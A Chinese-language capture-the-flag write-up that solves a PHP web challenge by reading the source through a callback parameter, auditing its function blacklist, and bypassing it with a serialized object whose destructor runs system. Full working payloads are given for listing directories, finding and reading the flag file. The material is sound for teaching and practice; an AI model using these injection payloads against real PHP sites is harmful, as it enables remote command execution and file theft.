打开题目
我们发现这个页面一直在不断的刷新
我们bp抓包一下看看
我们发现index.php用post方式传了两个参数上去,func和p
我们需要猜测func和p两个参数之间的关系,可以用php函数MD5测一下看看
我们在响应处得到了一串密文,md5解密一下看看
发现页面回响的内容就是123的md5加密后的内容
那我们直接看看能不能执行system函数
可以看到system函数被过滤掉了
那我们尝试一下能不能直接读取到网站源代码
file_get_contents()
得到
代码如下
<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>
我们代码审计一下
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];if ($func != null) { //判断func不为空
$func = strtolower($func); //将func转换为小写
if (!in_array($func,$disable_fun)) { //搜索func是否含有黑名单的值
echo gettime($func, $p); //如果func没有存在黑名单的值,就执行gettime函数
}else {
die("Hacker..."); //有则输出Hacker
function gettime($func, $p) {
$result = call_user_func($func, $p); //这里可以看出是回调函数
$a= gettype($result); //这里用gettype函数对result处理后赋值给a
if ($a == "string") { //如果a的类型是字符串
return $result; //返回reslut的结果
} else {return "";} //否则返回空值
那咱们就可以使用反序列化,因为我们这个命令是用不了的,func有很多黑名单限制
构造payload
<?php
class Test {var $p = "ls";var $func = "system";
}
$a = new Test();
echo serialize($a);
?>
用phpstudy打开得到payload
payload为
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
得到
修改payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
还是没找到flag
继续修复payload,其中 flag*
是一个通配符,表示以 "flag" 开头的文件名。
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
直接读取flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
或者readfile
func=readfile&p=/tmp/flagoefiu4r93
知识点
- 读取网站源代码的函数有
file_get_contents()
show_source()
highlight_file()
- strtolower()函数
在PHP中,字符串函数strtolower () 将字符串转化为小写
- in_array()函数
in_array() 函数搜索数组中是否存在指定的值。
- call_user_func函数
call_user_func — 把第一个参数作为回调函数调用
详情参考:PHP: call_user_func - Manual
- gettype函数
gettype()函数,必须先给它传递一个变量。它将确定变量的类型并且返回一个包含类型名称的字符串:bool、int、double、string、array、object和resource。如果变量类型不是标准类型之一,该函数就会返回“ unknown type(未知类型)”。
- 读取文件内容的命令
cat filename
readfile filename
- 查找文件的命令
详情见:Linux下查找文件(find、grep命令)_linux查找文件_GG_Bond19的博客-CSDN博客
find 路径 -name "文件名"
例如
find / -name flag*
其中
flag*
是一个通配符,表示以 "flag" 开头的文件名。find / -name .*txt
其中
.*txt
是一个通配符,表示以 ".txt" 结尾的隐藏文件